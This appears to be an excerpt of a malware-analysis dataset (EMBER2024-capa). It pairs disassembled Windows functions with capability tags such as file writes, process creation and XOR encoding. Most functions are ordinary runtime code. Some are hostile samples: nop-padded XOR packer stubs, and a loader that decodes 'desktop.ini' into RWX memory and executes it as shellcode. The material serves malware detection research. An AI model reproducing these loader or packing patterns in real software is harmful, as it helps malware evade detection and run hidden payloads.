joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40b690
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x414640
push 0x40b7b8
push dword fs:[0]
mov dword fs:[0], esp
sub esp, 0x54
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
push 0x2000000
call fcn.0040e2d0
pop ecx
mov dword [0x41db9c], eax
call fcn.0040d130
test eax, eax
je 0x40b78c
mov dword [ebp - 4], 0
call fcn.0040d350
call fcn.0040d4b0
call fcn.0040d590
call fcn.0040d890
call fcn.0040d940
mov ebx, 0x415918
jmp 0x40b6ff
call dword [ebx]
add ebx, 4
cmp ebx, 0x415918
jb 0x40b6fa
mov dword [ebp - 0x34], 0
lea eax, [ebp - 0x60]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ebx, eax
call fcn.0040d9f0
movzx edx, word [ebp - 0x30]
mov ecx, 0xa
test dword [ebp - 0x34], 1
cmovne ecx, edx
push ecx
push eax
push 0
push ebx
call fcn.004012d0
mov ebx, eax
mov esi, 0x415918
jmp 0x40b752
call dword [esi]
add esi, 4
cmp esi, 0x415918
jb 0x40b74d
push ebx
call fcn.0040da30
or dword [ebp - 4], 0xffffffff
jmp 0x40b799
push 0xfffffffffffffffe
call fcn.0040db00
pop ecx
jmp 0x40b6d3
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
lea esp, [ebp - 0x70]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40d890
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov esi, eax
cmp byte [esi], 0
jne 0x40d8c3
push 0x104
lea eax, [ebp - 0x104]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea esi, [ebp - 0x104]
lea eax, [ebp - 0x10c]
push eax
lea eax, [ebp - 0x108]
push eax
push 0
push 0
push esi
call fcn.0040d720
add esp, 0x14
mov eax, dword [ebp - 0x108]
mov edx, dword [ebp - 0x10c]
lea eax, [edx + eax*4]
push eax
call fcn.0040c450
pop ecx
mov edi, eax
test edi, edi
je 0x40d92b
lea eax, [ebp - 0x10c]
push eax
lea eax, [ebp - 0x108]
push eax
mov ebx, dword [ebp - 0x108]
lea eax, [edi + ebx*4]
push eax
push edi
push esi
call fcn.0040d720
add esp, 0x14
dec ebx
mov dword [0x41dbd8], ebx
mov dword [0x41dbdc], edi
jmp 0x40d933
push 0xfffffffffffffffc
call fcn.0040db00
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40d940
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
test eax, eax
cmove eax, dword [0x416e4c]
mov dword [ebp - 4], eax
mov esi, eax
xor eax, eax
cmp byte [esi], 0
je 0x40d97f
or edx, 0xffffffff
inc edx
cmp byte [esi + edx], 0
jne 0x40d967
lea edi, [edx + 1]
cmp byte [esi], 0x3d
je 0x40d978
add eax, edi
add esi, edi
cmp byte [esi], 0
jne 0x40d964
inc eax
push eax
call fcn.0040c450
pop ecx
mov edx, eax
mov dword [0x41dbe0], eax
test eax, eax
je 0x40d9dd
mov eax, dword [ebp - 4]
mov esi, eax
cmp byte [esi], 0
je 0x40d9c4
or eax, 0xffffffff
inc eax
cmp byte [esi + eax], 0
jne 0x40d99f
lea edi, [eax + 1]
cmp byte [esi], 0x3d
je 0x40d9bd
xor ecx, ecx
mov al, byte [esi + ecx]
mov byte [edx + ecx], al
inc ecx
test al, al
jne 0x40d9b0
add edx, edi
add esi, edi
cmp byte [esi], 0
jne 0x40d99c
mov byte [edx], 0
mov eax, dword [ebp - 4]
cmp eax, dword [0x416e4c]
je 0x40d9e5
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
jmp 0x40d9e5
push 0xfffffffffffffffc
call fcn.0040db00
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x411390
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x810
push ebx
push esi
push edi
mov eax, dword [ebp + 0x14]
mov edx, dword [ebp + 0x10]
lea esi, [edx + eax]
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov eax, dword [ebp + 0x10]
mov edi, eax
cmp edi, esi
jae 0x411474
lea eax, [ebp - 0xd]
lea edx, [ebp - 0x80c]
lea ecx, [ebp - 0x80c]
cmp eax, ecx
jbe 0x4113f6
cmp edi, esi
jae 0x4113f6
cmp byte [edi], 0xa
jne 0x4113ea
inc dword [ebp - 8]
mov byte [edx], 0xd
inc edx
inc edx
inc edi
mov cl, byte [edi - 1]
mov byte [edx - 1], cl
cmp edx, eax
jb 0x4113da
lea eax, [ebp - 0x80c]
mov ebx, edx
sub ebx, eax
push dword [ebp + 0xc]
call fcn.00412090
pop ecx
test eax, eax
je 0x41142a
call dword [sym.imp.KERNEL32.dll_GetConsoleOutputCP]
push ebx
lea edx, [ebp - 0x80c]
push edx
push dword [0x41dfe4]
push eax
call fcn.00412240
add esp, 0x10
push dword [ebp + 0xc]
call fcn.00412040
pop ecx
push 0
lea edx, [ebp - 0x810]
push edx
push ebx
lea edx, [ebp - 0x80c]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x41146b
mov eax, dword [ebp - 0x810]
add dword [ebp - 0xc], eax
cmp dword [ebp - 0x810], ebx
jb 0x411474
inc edi
cmp edi, esi
jb 0x4113c7
jmp 0x411474
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov ebx, dword [ebp - 8]
mov dword [eax], ecx
mov dword [eax + 4], ebx
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 4]
mov dword [eax + 8], edx
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4114a0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x814
push ebx
push esi
push edi
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebp + 0x14]
mov edx, dword [ebp + 0x10]
add edx, eax
mov dword [ebp - 0x814], edx
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov eax, dword [ebp + 0x10]
mov esi, eax
cmp esi, dword [ebp - 0x814]
jae 0x4115bd
lea eax, [ebp - 0xe]
lea edx, [ebp - 0x80c]
lea ecx, [ebp - 0x80c]
cmp eax, ecx
jbe 0x411522
cmp esi, dword [ebp - 0x814]
jae 0x411522
cmp word [esi], 0xa
jne 0x411510
add dword [ebp - 8], 2
mov word [edx], 0xd
add edx, 2
add edx, 2
add esi, 2
mov cx, word [esi - 2]
mov word [edx - 2], cx
cmp edx, eax
jb 0x4114f6
lea eax, [ebp - 0x80c]
mov edi, edx
sub edi, eax
push ebx
call fcn.00412090
pop ecx
test eax, eax
je 0x411586
push ebx
call fcn.00412040
pop ecx
push 0
lea edx, [ebp - 0x810]
push edx
mov edx, edi
shr edx, 1
push edx
lea edx, [ebp - 0x80c]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
test eax, eax
je 0x4115b4
shl dword [ebp - 0x810], 1
mov eax, dword [ebp - 0x810]
add dword [ebp - 0xc], eax
cmp dword [ebp - 0x810], edi
jb 0x4115bd
add esi, 2
cmp esi, dword [ebp - 0x814]
jb 0x4114e3
jmp 0x4115bd
push ebx
call fcn.00412040
pop ecx
push 0
lea edx, [ebp - 0x810]
push edx
push edi
lea edx, [ebp - 0x80c]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x411564
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
jmp 0x4115bd
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov ebx, dword [ebp - 8]
mov dword [eax], ecx
mov dword [eax + 4], ebx
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 4]
mov dword [eax + 8], edx
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4115e0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc10
push ebx
push esi
push edi
mov eax, dword [ebp + 0x14]
mov edx, dword [ebp + 0x10]
add edx, eax
mov dword [ebp - 0xc0c], edx
mov eax, dword [ebp + 0x10]
mov ebx, eax
mov dword [ebp - 0xc08], 0
cmp ebx, dword [ebp - 0xc0c]
jae 0x41169c
lea eax, [ebp - 2]
lea edx, [ebp - 0x400]
lea ecx, [ebp - 0x400]
cmp eax, ecx
jbe 0x411650
cmp ebx, dword [ebp - 0xc0c]
jae 0x411650
cmp word [ebx], 0xa
jne 0x41163e
mov word [edx], 0xd
add edx, 2
add edx, 2
add ebx, 2
mov cx, word [ebx - 2]
mov word [edx - 2], cx
cmp edx, eax
jb 0x411628
push 0
push 0
push 0x800
lea eax, [ebp - 0xc00]
push eax
lea eax, [ebp - 0x400]
sub edx, eax
sar edx, 1
push edx
lea eax, [ebp - 0x400]
push eax
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
test eax, eax
je 0x4116a8
lea esi, [ebp + eax - 0xc00]
lea eax, [ebp - 0xc00]
cmp esi, eax
jbe 0x411707
lea edi, [ebp - 0xc00]
jmp 0x4116da
mov dword [ebp - 0xc10], 0
jmp 0x4116b4
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0xc10], eax
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0xc08]
mov dword [eax], edx
mov eax, dword [ebp + 8]
mov dword [eax + 4], 0
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0xc10]
mov dword [eax + 8], edx
mov eax, dword [ebp + 8]
jmp 0x41174a
push dword [ebp + 0xc]
call fcn.00412040
pop ecx
push 0
lea edx, [ebp - 0xc04]
push edx
mov edx, esi
sub edx, edi
push edx
push edi
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x411726
add edi, dword [ebp - 0xc04]
cmp edi, esi
jb 0x4116da
mov eax, ebx
sub eax, dword [ebp + 0x10]
mov dword [ebp - 0xc08], eax
add ebx, 2
cmp ebx, dword [ebp - 0xc0c]
jb 0x411615
jmp 0x41169c
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, dword [ebp + 8]
mov ecx, dword [ebp - 0xc08]
mov dword [edx], ecx
mov edx, dword [ebp + 8]
mov dword [edx + 4], 0
mov edx, dword [ebp + 8]
mov dword [edx + 8], eax
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x412af0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
push esi
push edi
mov ebx, dword [esp + 0x10]
mov esi, dword [esp + 0x14]
mov edi, dword [esp + 0x18]
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push 0
xor edx, edx
cmp eax, 0xffffffff
cmove eax, edx
push eax
push edi
push 0
push 1
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
pop edi
pop esi
pop ebx
ret 0xc
Function at 0x412bb0
Capabilities:
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov esi, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
push 0x414580
push 0x417494
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
test edi, edi
je 0x412c0b
push 1
push 0
push edi
call fcn.00412af0
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x400
push 0x417494
push edi
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
mov edi, eax
test edi, edi
je 0x412d70
cmp edi, 0x400
jg 0x412d70
push 0x400
push 0x417c94
push esi
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
mov edi, eax
test edi, edi
je 0x412d70
cmp edi, 0x400
jg 0x412d70
push 0x417c94
push 0x417494
push str._s_s_r_n
push 0x418494
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
mov dword [ebp - 8], eax
push 0x800
push 0x417c94
push str._WIN_
call dword [0x416bfc]
push 4
push 0xc0000000
push 0x417c94
call fcn.00412af0
mov dword [ebp - 0xc], eax
cmp eax, 0xffffffff
je 0x412d70
push 0
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
add eax, dword [ebp - 8]
add eax, 0xa
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov edi, eax
test edi, edi
je 0x412d51
push 0
lea eax, [ebp - 4]
push eax
push esi
push edi
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x412d51
cmp esi, dword [ebp - 4]
jne 0x412d51
push str._Rename__r_n
push edi
call fcn.00412b30
test eax, eax
je 0x412d5c
push 0x414568
add eax, 0xa
push eax
call fcn.00412b30
test eax, eax
je 0x412d11
lea edx, [edi + esi]
lea ecx, [edi + esi]
add ecx, dword [ebp - 8]
cmp edx, eax
jbe 0x412d0a
dec ecx
dec edx
mov bl, byte [edx + 1]
mov byte [ecx + 1], bl
cmp edx, eax
ja 0x412cfe
sub eax, edi
inc eax
mov edx, eax
jmp 0x412d13
mov edx, esi
mov eax, edx
push dword [ebp - 8]
push 0x418494
add eax, edi
push eax
call fcn.00412b90
push 0
push 0
push 0
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [ebp - 4]
push eax
mov eax, esi
add eax, dword [ebp - 8]
push eax
push edi
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x412d70
push str._Rename__r_n
lea eax, [edi + esi]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
add esi, 0xa
jmp 0x412d11
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x4132b0
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
push esi
push edi
mov edx, dword [ebp + 8]
lea edi, [ebp - 0x208]
xor eax, eax
mov ecx, 0x208
rep stosb byte es:[edi], al
lea edi, [ebp - 0x410]
xor eax, eax
mov ecx, 0x208
rep stosb byte es:[edi], al
push edx
push 0x104
lea eax, [ebp - 0x410]
push eax
call fcn.0040cf20
add esp, 0xc
lea eax, [ebp - 0x410]
push eax
call fcn.004131a0
push 0x5c
lea eax, [ebp - 0x410]
push eax
call fcn.0040cfb0
add esp, 8
mov esi, eax
xor edi, edi
jmp 0x41339d
lea eax, [ebp - 0x410]
neg eax
add eax, esi
sar eax, 1
inc eax
push eax
lea eax, [ebp - 0x410]
push eax
push 0x104
lea eax, [ebp - 0x208]
push eax
call fcn.0040cfd0
add esp, 0x10
push 0
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x413375
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
cmp edi, 0xb7
je 0x41338d
push 0x5c
lea eax, [esi + 2]
push eax
call fcn.0040cfb0
add esp, 8
mov esi, eax
jmp 0x41339d
cmp byte [0x41af48], 0
je 0x41338d
lea eax, [ebp - 0x208]
push eax
push 1
call dword [0x416c10]
push 0x5c
lea eax, [esi + 2]
push eax
call fcn.0040cfb0
add esp, 8
mov esi, eax
test esi, esi
jne 0x413317
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x407d9c
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004033fc
xor eax, eax
push ebp
push 0x407e75
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp byte [eax], 0x5c
jne 0x407dd4
mov eax, dword [ebp - 4]
call fcn.004071d0
jmp 0x407ddc
mov eax, dword [ebp - 4]
call fcn.00407bd4
call fcn.00404ae8
mov esi, eax
test esi, esi
jle 0x407e28
mov ebx, 1
lea edx, [ebp - 8]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 8]
cmp byte [eax], 0x5c
jne 0x407e12
lea edx, [ebp - 0xc]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 0xc]
call fcn.004071d0
jmp 0x407e24
lea edx, [ebp - 0x10]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 0x10]
call fcn.00407bd4
inc ebx
dec esi
jne 0x407dec
push 1
push dword [ebp - 4]
push 0x407e8c
lea edx, [ebp - 0x18]
xor eax, eax
call fcn.00406f34
push dword [ebp - 0x18]
lea eax, [ebp - 0x14]
mov edx, 3
call fcn.004032cc
mov eax, dword [ebp - 0x14]
call fcn.0040340c
push eax
call sub.kernel32.dll_WinExec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407e7c
lea eax, [ebp - 0x18]
mov edx, 6
call fcn.004030b8
ret

Function at 0x4ca011
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4d4400
cmp edx, dword [eax]
je 0x4ca033
add eax, 8
inc ecx
cmp eax, 0x4d4490
jl 0x4ca024
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x4d4400]
jne 0x4ca161
mov eax, dword [0x4d9e30]
cmp eax, 1
je 0x4ca13b
test eax, eax
jne 0x4ca064
cmp dword [0x4d4328], 1
je 0x4ca13b
cmp edx, 0xfc
je 0x4ca161
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4ca09b
lea eax, [ebp - 0x1a4]
push 0x4cfe28
push eax
call fcn.004ca9f0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004cae80
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4ca0de
lea eax, [ebp - 0x1a4]
push eax
call fcn.004cae80
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4cfe24
push edi
call fcn.004ccd50
add esp, 0x10
lea eax, [ebp - 0xa0]
push 0x4cfe08
push eax
call fcn.004ca9f0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004caa00
lea eax, [ebp - 0xa0]
push 0x4cfe04
push eax
call fcn.004caa00
push dword [esi + 0x4d4404]
lea eax, [ebp - 0xa0]
push eax
call fcn.004caa00
push 0x12010
lea eax, [ebp - 0xa0]
push 0x4cfddc
push eax
call fcn.004cccc4
add esp, 0x2c
pop edi
jmp 0x4ca161
lea eax, [ebp + 8]
lea esi, [esi + 0x4d4404]
push 0
push eax
push dword [esi]
call fcn.004cae80
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x1000abb4
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.100046b4
and dword [ebp - 4], 0
cmp dword [0x10012b84], 0
mov ebx, eax
jne 0x1000ac65
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x1000ad16
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x1000ad16
push eax
call fcn.10004642
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x10012b84], eax
call esi
push eax
call fcn.10004642
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x10012b88], eax
call esi
push eax
call fcn.10004642
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x10012b8c], eax
call esi
push eax
call fcn.10004642
pop ecx
mov dword [0x10012b94], eax
test eax, eax
je 0x1000ac65
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.10004642
pop ecx
mov dword [0x10012b90], eax
mov eax, dword [0x10012b90]
cmp eax, ebx
je 0x1000acbd
cmp dword [0x10012b94], ebx
je 0x1000acbd
push eax
call fcn.100046bd
push dword [0x10012b94]
mov esi, eax
call fcn.100046bd
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x1000acbd
test edi, edi
je 0x1000acbd
call esi
test eax, eax
je 0x1000acb4
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x1000acb4
test byte [ebp - 0xc], 1
jne 0x1000acbd
or dword [ebp + 0x10], 0x200000
jmp 0x1000acf6
mov eax, dword [0x10012b88]
cmp eax, ebx
je 0x1000acf6
push eax
call fcn.100046bd
pop ecx
test eax, eax
je 0x1000acf6
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x1000acf6
mov eax, dword [0x10012b8c]
cmp eax, ebx
je 0x1000acf6
push eax
call fcn.100046bd
pop ecx
test eax, eax
je 0x1000acf6
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x10012b84]
call fcn.100046bd
pop ecx
test eax, eax
je 0x1000ad16
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x1000ad18
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x42e003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x407ef8
mov ecx, 0x28b524cf
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x42e04e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x42e024
nop
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x42cd70
nop
mov ecx, 0xf3d5a05
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x42e084
nop
nop
nop
nop
nop
xor dword [eax], ecx
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x42e06c
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x406273
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
cmp dword [ebp + 8], ebx
je 0x406298
mov eax, dword [0x40a8a0]
cmp eax, 0xffffffff
je 0x40628f
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or dword [0x40a8a0], 0xffffffff
jmp 0x40630b
cmp dword [0x440a40], ebx
je 0x40630b
cmp byte [0x440640], bl
je 0x4062d7
cmp dword [0x40a8a0], 0xffffffff
jne 0x4062e0
push 4
push 0x40000000
push 0x440640
call fcn.00405c27
cmp eax, 0xffffffff
mov dword [0x40a8a0], eax
je 0x40630b
push 2
push ebx
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp dword [0x40a8a0], 0xffffffff
je 0x40630b
push esi
mov esi, 0x444a60
push 0x40aae8
push esi
call fcn.00405f75
lea eax, [ebp + 8]
push ebx
push eax
push esi
call fcn.00405f68
push eax
push esi
push dword [0x40a8a0]
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
pop ebx
pop ebp
ret 4

Function at 0x4064bd
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push esi
xor esi, esi
cmp dword [0x44023c], esi
push edi
jne 0x4064f7
mov ecx, 0x440238
push 8
mov eax, esi
pop edi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec edi
jne 0x4064d3
mov dword [ecx], eax
add ecx, 4
inc esi
cmp ecx, 0x440638
jl 0x4064ce
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0xc]
mov edx, ecx
dec ecx
test edx, edx
not eax
jbe 0x40652c
lea edx, [ecx + 1]
mov ecx, dword [esp + 0x10]
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x440238]
xor eax, esi
inc ecx
dec edx
jne 0x40650f
pop edi
pop esi
not eax
ret 0xc

Function at 0x401de0
Capabilities:
Get process heap flags
Terminate process

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0xc
mov dword [esp], 1
call sub.ucrtbase.dll__configure_wide_argv
call sub.ucrtbase.dll__initialize_wide_environment
call 0x401e50
mov esi, dword [eax]
call sub.ucrtbase.dll___p___wargv
mov edi, dword [eax]
call sub.ucrtbase.dll__get_initial_wide_environment
mov ebx, eax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 8]
mov edx, dword [eax + 0x3c]
cmp word [eax + edx + 0x5c], 2
sete al
movzx eax, al
add eax, 1
mov dword [esp], eax
call sub.ucrtbase.dll__set_app_type
mov dword [esp + 8], ebx
mov dword [esp + 4], edi
mov dword [esp], esi
call fcn.00401350
mov dword [esp], eax
call sub.ucrtbase.dll_exit
nop
nop
nop
jmp dword [sym.imp.ucrtbase.dll___p___argc]
Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10

Function at 0x431005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..rsrc
nop
mov ebx, 0x40915c
mov ecx, 0x36f62c6e
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43104e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x431024
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42f3f8
nop
nop
mov ecx, 0x70ec54a6
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x431084
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43106c
nop
nop
nop
nop
nop
popal
jmp 0x401219